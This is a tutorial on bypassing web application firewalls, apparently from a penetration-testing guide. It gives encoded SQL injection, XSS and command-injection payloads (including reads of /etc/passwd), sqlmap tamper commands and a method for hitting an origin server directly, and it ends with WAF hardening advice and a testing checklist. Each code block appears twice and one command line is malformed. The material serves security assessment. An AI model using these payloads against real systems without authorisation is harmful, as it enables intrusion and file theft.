WAF Bypass Techniques
Web Application Firewalls (WAFs) are a common defense layer, but they can be bypassed. Understanding bypass techniques helps assess whether the WAF actually provides effective protection.
Scope Reminder
WAF Detection & Fingerprinting
# wafw00f - WAF fingerprinting tool
pip install wafw00f
wafw00f https://target.com
# Nmap WAF detection scripts
nmap --script=http-waf-detect,http-waf-fingerprint target.com
# Manual indicators:
# - Custom error pages on blocked requests
# - Specific response headers (X-Sucuri-ID, X-CDN, cf-ray)
# - Connection dropped on suspicious payloads
# - JavaScript challenges or CAPTCHAs
# - HTTP 403/406/429 on injection attempts
# Test with a simple payload:
curl -v "https://target.com/search?q=<script>alert(1)</script>"
# If blocked → WAF likely present# wafw00f - WAF fingerprinting tool
pip install wafw00f
wafw00f https://target.com
# Nmap WAF detection scripts
nmap --script=http-waf-detect,http-waf-fingerprint target.com
# Manual indicators:
# - Custom error pages on blocked requests
# - Specific response headers (X-Sucuri-ID, X-CDN, cf-ray)
# - Connection dropped on suspicious payloads
# - JavaScript challenges or CAPTCHAs
# - HTTP 403/406/429 on injection attempts
# Test with a simple payload:
curl -v "https://target.com/search?q=<script>alert(1)</script>"
# If blocked → WAF likely present| WAF | Detection Header/Indicator | Bypass Difficulty |
|---|---|---|
| Cloudflare | cf-ray, server: cloudflare | Medium-Hard |
| AWS WAF | x-amzn-requestid, 403 body patterns | Medium |
| Akamai | AkamaiGHost, reference ID in error | Hard |
| ModSecurity | Apache/Nginx default 403, paranoia levels | Medium (depends on ruleset) |
| Sucuri | X-Sucuri-ID, custom block page | Medium |
| Imperva/Incapsula | X-CDN, incap_ses_ cookies | Hard |
SQL Injection WAF Bypass
# Encoding bypasses
# URL encoding
1%27%20OR%20%271%27%3D%271
# Double URL encoding
1%2527%2520OR%2520%25271%2527%253D%25271
# Unicode/UTF-8 encoding
1%C0%A7%20OR%20%C0%A71%C0%A7%3D%C0%A71
# Comment-based bypasses
1'/**/OR/**/1=1--
1'/*!50000OR*/1=1-- # MySQL version-specific comments
1'||/**/1=1--
# Case manipulation
1' oR 1=1--
1' Or 1=1--
# Whitespace alternatives
1'%09OR%091=1-- # Tab
1'%0AOR%0A1=1-- # Newline
1'%0COR%0C1=1-- # Form feed
1'%A0OR%A01=1-- # Non-breaking space
# Keyword alternatives
1' || 1=1-- # OR → ||
1' && 1=1-- # AND → &&
1' DIV 1-- # Alternative operators
# SQLMap tamper scripts
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charencode,chardoubleencode
sqlmap -u "https://target.com/?id=1" --tamper=equaltolike,greatest
# Common tamper scripts:
# space2comment - Replace spaces with /**/
# between - Replace > with BETWEEN
# randomcase - Random capitalization
# charencode - URL-encode characters
# equaltolike - Replace = with LIKE# Encoding bypasses
# URL encoding
1%27%20OR%20%271%27%3D%271
# Double URL encoding
1%2527%2520OR%2520%25271%2527%253D%25271
# Unicode/UTF-8 encoding
1%C0%A7%20OR%20%C0%A71%C0%A7%3D%C0%A71
# Comment-based bypasses
1'/**/OR/**/1=1--
1'/*!50000OR*/1=1-- # MySQL version-specific comments
1'||/**/1=1--
# Case manipulation
1' oR 1=1--
1' Or 1=1--
# Whitespace alternatives
1'%09OR%091=1-- # Tab
1'%0AOR%0A1=1-- # Newline
1'%0COR%0C1=1-- # Form feed
1'%A0OR%A01=1-- # Non-breaking space
# Keyword alternatives
1' || 1=1-- # OR → ||
1' && 1=1-- # AND → &&
1' DIV 1-- # Alternative operators
# SQLMap tamper scripts
sqlmap -u "https://target.com/?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "https://target.com/?id=1" --tamper=charencode,chardoubleencode
sqlmap -u "https://target.com/?id=1" --tamper=equaltolike,greatest
# Common tamper scripts:
# space2comment - Replace spaces with /**/
# between - Replace > with BETWEEN
# randomcase - Random capitalization
# charencode - URL-encode characters
# equaltolike - Replace = with LIKEXSS WAF Bypass
# Event handler alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
# Case and encoding tricks
<ScRiPt>alert(1)</ScRiPt>
<script>alert\u00281)</script>
<script>al\u0065rt(1)</script>
<img src=x onerror="alert(1)">
# Tag and attribute obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img/src=x/onerror=alert(1)>
<img src=x onerror = alert(1) >
# JavaScript protocol bypasses
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
# Template literal / backtick payloads
<script>alert`1`</script>
<img src=x onerror=alert`1`>
# Bypassing keyword filters
<script>window['al'+'ert'](1)</script>
<script>self[atob('YWxlcnQ=')](1)</script>
<script>top[/al/.source+/ert/.source](1)</script># Event handler alternatives (when <script> is blocked)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
# Case and encoding tricks
<ScRiPt>alert(1)</ScRiPt>
<script>alert\u00281)</script>
<script>al\u0065rt(1)</script>
<img src=x onerror="alert(1)">
# Tag and attribute obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img/src=x/onerror=alert(1)>
<img src=x onerror = alert(1) >
# JavaScript protocol bypasses
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
<a href="javascript:alert(1)">click</a>
# Template literal / backtick payloads
<script>alert`1`</script>
<img src=x onerror=alert`1`>
# Bypassing keyword filters
<script>window['al'+'ert'](1)</script>
<script>self[atob('YWxlcnQ=')](1)</script>
<script>top[/al/.source+/ert/.source](1)</script>Command Injection WAF Bypass
# Space bypass alternatives
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd
# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /???/p??s?? # Glob patterns
$(printf '\x63\x61\x74') /etc/passwd # Hex encoding
# Variable-based bypass
a]cat;b]=/etc/passwd;$a $b
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d) # Base64
# Newline/separator bypass
;cat /etc/passwd
|cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
%0acat /etc/passwd # Newline
%0dcat /etc/passwd # Carriage return# Space bypass alternatives
cat</etc/passwd
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat%09/etc/passwd
# Keyword bypass
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd
/???/??t /???/p??s?? # Glob patterns
$(printf '\x63\x61\x74') /etc/passwd # Hex encoding
# Variable-based bypass
a]cat;b]=/etc/passwd;$a $b
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d) # Base64
# Newline/separator bypass
;cat /etc/passwd
|cat /etc/passwd
`cat /etc/passwd`
$(cat /etc/passwd)
%0acat /etc/passwd # Newline
%0dcat /etc/passwd # Carriage returnGeneral WAF Bypass Techniques
HTTP Method Switching
- • Change GET to POST or vice versa
- • Use PUT, PATCH, or DELETE methods
- • Try method override headers (
X-HTTP-Method-Override)
Content-Type Manipulation
- • Switch between
application/jsonand form data - • Use
multipart/form-datawith payloads in file fields - • Try
text/xmlorapplication/xml
Request Splitting & Chunking
- • Split payload across multiple parameters
- • Use chunked Transfer-Encoding
- • Abuse parameter pollution (HPP)
Origin-Based Bypass
- • Find the origin IP behind the WAF/CDN
- • Check DNS history, email headers, SSL certs
- • Access the server directly, bypassing the WAF entirely
# Finding origin IP behind CDN/WAF
# DNS history
dig +short target.com @8.8.8.8
# Check historical DNS records at: securitytrails.com, viewdns.info
# Certificate search (may reveal origin IP)
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative"
# Shodan/Censys search for SSL cert hash
shodan search ssl.cert.subject.CN:target.com
# Send requests directly to origin IP with Host header
curl -H "Host: target.com" https://ORIGIN_IP/vulnerable?id=1' OR 1=1--# Finding origin IP behind CDN/WAF
# DNS history
dig +short target.com @8.8.8.8
# Check historical DNS records at: securitytrails.com, viewdns.info
# Certificate search (may reveal origin IP)
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alternative"
# Shodan/Censys search for SSL cert hash
shodan search ssl.cert.subject.CN:target.com
# Send requests directly to origin IP with Host header
curl -H "Host: target.com" https://ORIGIN_IP/vulnerable?id=1' OR 1=1--🛡️ Defense & WAF Hardening
WAF Best Practices
Configuration
- • WAFs are defense-in-depth, not a replacement for secure code
- • Use positive security models (allowlist) over negative (blocklist)
- • Normalize/decode input before rule evaluation
- • Enable recursive decoding (multi-pass normalization)
Architecture
- • Restrict origin server to only accept traffic from WAF IPs
- • Don't expose origin IP in DNS, emails, or error messages
- • Keep WAF rules and signatures up to date
- • Test WAF bypass regularly as part of security assessments
CWE References: CWE-693 (Protection Mechanism Failure)
✅ WAF Bypass Checklist
- ☐ WAF identified & fingerprinted
- ☐ Block patterns documented
- ☐ Origin IP search performed
- ☐ Rate limiting behavior noted
- ☐ URL encoding (single/double)
- ☐ Unicode / UTF-8 encoding
- ☐ HTML entity encoding
- ☐ Base64 / hex encoding
- ☐ HTTP method switching
- ☐ Content-Type manipulation
- ☐ Parameter pollution
- ☐ Chunked encoding bypass
Evidence Collection
Bypass Payload: Document the exact payload that bypassed the WAF alongside the blocked version — show the WAF's block response for the original and successful pass-through for the evasion.
Encoding Variants: Record which encoding techniques (double URL encoding, Unicode normalization, HTML entities, mixed case) successfully evaded detection rules.
Rule Gap Documentation: Identify the specific WAF rule or category being bypassed — cross-reference with the WAF vendor's ruleset documentation to demonstrate the coverage gap.
Protocol-Level Bypass: If the bypass uses HTTP/2 binary framing, chunked encoding, or content-type switching, capture the raw request showing the protocol-level evasion technique.
CVSS Range: WAF bypass is not independently scored — the CVSS reflects the underlying vulnerability (e.g., SQLi, XSS) with a note that WAF was the sole mitigation control.
False Positive Identification
- WAF is Not a Fix: Bypassing a WAF doesn't create a new vulnerability — it demonstrates that the WAF is an insufficient sole mitigation. The underlying vulnerability must exist independently.
- Different WAF Mode: Some WAFs run in detection/logging mode rather than blocking — confirm the WAF is in enforce mode before claiming a bypass.
- Allowlisted Source: Testing from an IP or user agent on the WAF allowlist may produce apparent bypasses that don't work from external attacker positions.
- Backend Validation Present: If the application has proper input validation independent of the WAF, a WAF bypass alone has no exploitable impact — verify the vulnerability exists at the application layer.